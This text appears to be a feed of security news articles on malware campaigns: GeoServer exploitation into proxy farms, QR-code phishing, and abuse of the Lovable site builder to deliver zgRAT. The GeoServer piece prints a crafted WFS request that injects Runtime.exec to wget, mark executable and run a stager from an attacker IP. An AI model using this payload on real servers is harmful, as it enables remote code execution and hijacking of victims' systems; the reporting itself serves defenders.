An Malicious actors are using reliable internet resources, such as the Internet Archive, more frequently to disseminate clandestine malware components in a worrying increase in cyberthreats. This tactic exploits the inherent trustworthiness of such platforms, allowing attackers to bypass traditional security filters and deliver payloads under the guise of legitimate content. The latest incident highlights […]

The post Threat Actors Abuse Internet Archive to Host Stealthy JScript Loader appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

A stealthy campaign emerged in early March 2025 that capitalized on a critical remote code execution flaw in GeoServer (CVE-2024-36401) to compromise publicly exposed geospatial servers.

Attackers exploited JXPath query injection within Apache Commons libraries, allowing arbitrary code execution through crafted XML requests.

This vector enabled the silent deployment of customized executables that leveraged legitimate passive-income software development kits (SDKs) and applications, effectively turning victim networks into illicit proxy farms.

Within days of the initial wave, Palo Alto Networks analysts noted a significant surge in probing activity against vulnerable GeoServer instances.

Cortex Xpanse telemetry revealed over 3,700 publicly accessible servers in the first week of May 2025 alone, underscoring the vast attack surface available to threat actors.

These adversaries moved quickly to evade detection, rotating distribution IPs from 37.187.74[.]75 to 185.246.84[.]189 and expanding backend infrastructure to include a transfer.sh-style file-sharing service on port 8080.

The monetization strategy behind this campaign favored long-term stealth over rapid resource consumption.

Rather than deploying noisy cryptocurrency miners, attackers delivered two core payloads: a misused SDK that silently aggregated bandwidth-sharing sessions across infected hosts, and a misused application that created hidden directories and launched executables with minimal resource footprints.

Both payloads mimicked legitimate passive-income services, making them difficult to detect through signature-based defenses.

Victims remained unaware as their machines quietly forwarded web traffic or participated in residential proxy networks.

By integrating genuine Dart-compiled binaries, the attackers exploited cross-platform capabilities to target Linux servers and bypass detection signatures tuned for more common malware languages.

Indicators of compromise included connections to hxxp://37.187.74[.]75:8080 and hxxp://64.226.112[.]52:8080, where stage-one scripts such as z593 fetched additional stagers.

Infection Mechanism Deep Dive

One of the most insidious aspects of this campaign lies in its exploitation of JXPath’s extension functions.

Upon receiving a crafted GetPropertyValue request, GeoServer’s property accessor mechanism passed an attacker-controlled expression into the iteratePointers method.

This payload then invoked the javax.lang.Runtime.exec function, triggering remote command execution.

A snippet illustrating this injection follows:

<ogc:GetPropertyValue service="WFS" version="1.1.0" xmlns:ogc="http://www.opengis.net/ogc">
  <ogc:ValueReference><![CDATA[
    Runtime.exec("wget http://185.246.84.189:8080/z593 -O /tmp/z593; chmod +x /tmp/z593; /tmp/z593"
  )]]></ogc:ValueReference>
</ogc:GetPropertyValue>

Upon successful execution, z593 acted as a stager, creating a hidden folder under /var/tmp/.cache and fetching two additional payloads: z401, which established the execution environment, and z402, which launched the main executable with an embedded SDK key.

By chaining these stages, the attackers achieved persistence and ensured that bandwidth-sharing processes resumed automatically on reboot.

Through this meticulous, multi-stage approach, threat actors have demonstrated how leveraging legitimate SDKs and file-sharing services can facilitate undetected monetization of network resources.

Security teams are urged to apply GeoServer patches immediately, monitor outbound connections to known malicious IPs, and deploy behavioral analytics capable of identifying anomalous JXPath queries to thwart similar campaigns.

Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

The post Threat Actors Gaining Access to Victims’ Machines and Monetizing Access to Their Bandwidth appeared first on Cyber Security News.

Cybersecurity researchers have observed a surge in phishing campaigns leveraging QR codes to deliver malicious payloads.

This emerging threat, often dubbed “quishing,” exploits the opaque nature of QR codes to conceal harmful URLs that redirect victims to credential-harvesting sites or malware downloads.

Unlike traditional phishing links that can be flagged by email gateways, QR codes require a visual scan by the end user—typically on a mobile device—circumventing desktop security controls and expanding the attacker’s window of opportunity.

The earliest instances appeared in generic mass-email blasts posing as routine account notifications from well-known service providers.

However, attackers have rapidly refined their tactics, tailoring messages to specific targets and embedding QR codes within seemingly innocuous images.

In one campaign, a threat actor impersonated a leading cloud storage provider, prompting recipients to “scan to verify account activity.”

Upon scanning, the QR code resolved to a fake login portal meticulously crafted to mirror the legitimate site’s HTML and JavaScript.

Barracuda analysts noted this initial wave of quishing attacks relied heavily on social engineering rather than technical sophistication.

As defenders began to recognize and block simple QR code attacks, adversaries escalated their techniques.

Split QR codes emerged as a stealthier method, dividing a single code into two separate image fragments that appear benign when viewed independently.

Email scanners inspecting image attachments typically miss two partial images, yet when rendered in an HTML email they recombine visually into a scannable QR pattern. Victims who scan the composite code are redirected to sites designed to harvest credentials or deploy secondary payloads.

Detection Evasion Through Nested QR Codes

Beyond splitting, the latest quishing kits employ nested QR codes to further obfuscate malicious links.

A nested code consists of an inner, benign QR pointing to a harmless URL (e.g., Google), surrounded by an outer code directing to a phishing domain.

This dual-layer approach generates ambiguous decoding results: standard QR readers often default to the inner code, while more sophisticated decoders can extract the outer payload.

Attackers exploit this ambiguity to bypass QR analysis tools that lack the ability to interpret multiple layers within a single frame.

To illustrate, the following Python snippet uses the pyzbar library to decode layered QR images and highlight both payloads:-

from PIL import Image  
from pyzbar.pyzbar import decode  

img = Image.open('nested_qr_code.png')  
results = decode(img)  
for res in results:  
    print(f'Data: {res.data.decode()}, Type: {res.type}')  

Defenders must adopt multimodal AI solutions capable of rendering images, isolating pixel patterns, and performing sandboxed link execution.

As organizations bolster spam filters and enforce multi-factor authentication, attackers will undoubtedly continue to innovate. Vigilance, layered defenses, and user training remain critical to counteract this evolving quishing threat.

Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

The post Hackers Weaponize QR Codes Embedded with Malicious Links to Steal Sensitive Information appeared first on Cyber Security News.

Researchers have discovered a complex campaign using trojanized software that uses authentic code-signing certificates to avoid detection and turn compromised machines into unintentional residential proxies, according to a recent threat intelligence notice from Expel Security. The operation begins with files bearing the code-signing signature of “GLINT SOFTWARE SDN. BHD.,” a seemingly legitimate entity whose credentials […]

The post Threat Actors Weaponize PDF Editor Trojan to Convert Devices into Proxies appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

Cybercriminals have discovered a new avenue for malicious activities by exploiting Lovable, an AI-powered website creation platform, to develop sophisticated phishing campaigns and malware delivery systems.

The platform, designed to democratize web development through natural language prompts, has inadvertently become a tool for threat actors seeking to create convincing fraudulent websites with minimal technical expertise.

The abuse of Lovable represents a significant shift in the cybercrime landscape, where artificial intelligence tools are lowering traditional barriers to entry for malicious actors.

Unlike conventional web development that requires coding knowledge, Lovable allows users to create fully functional websites simply by describing their requirements in plain text.

This capability has proven particularly attractive to cybercriminals who can now generate professional-looking phishing sites, credential harvesting platforms, and malware distribution networks within minutes.

Proofpoint researchers identified tens of thousands of malicious Lovable URLs detected as threats each month since February 2025, spanning various attack vectors, including multifactor authentication phishing kits, cryptocurrency wallet drainers, and sophisticated credential harvesting operations.

The researchers observed campaigns impacting over 5,000 organizations through hundreds of thousands of malicious messages, demonstrating the scale at which threat actors have adopted this platform.

The versatility of AI-generated websites has enabled threat actors to impersonate prominent brands including Microsoft, UPS, and various financial institutions with remarkable authenticity.

These campaigns typically employ sophisticated social engineering techniques, incorporating legitimate branding elements and convincing user interfaces that closely mirror their genuine counterparts.

The platform’s free hosting service on the lovable.app domain has further reduced operational costs for cybercriminals while providing them with legitimate-looking infrastructure.

Advanced Malware Delivery Mechanisms

The most concerning aspect of this threat involves the platform’s capacity to facilitate complex malware delivery chains.

Proofpoint analysts documented a particularly sophisticated German-language campaign that demonstrated the evolution from simple phishing to advanced malware distribution.

The attack chain began with HTML attachments redirecting to Cookie Reloaded URLs, which subsequently directed victims to AI-generated Lovable applications masquerading as secure download portals.

The malware delivery process incorporated multiple layers of deception, including password-protected downloads and legitimate-looking interfaces.

When victims clicked download buttons, they received a popup providing the password “RE2025” and access to a RAR file hosted on Dropbox.

This archive contained “Rechnung DE009100019000.exe,” a trojanized legitimate Ace Stream file that performed DLL sideloading to execute DOILoader, ultimately deploying zgRAT malware with command and control communications to 84.32.41.163:7705.

This sophisticated attack methodology demonstrates how AI website builders can facilitate complex multi-stage malware deployment while maintaining the appearance of legitimate business operations, significantly complicating detection and prevention efforts for cybersecurity teams.

Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

The post Threat Actors Abuse AI Website Creation App to Deliver Malware appeared first on Cyber Security News.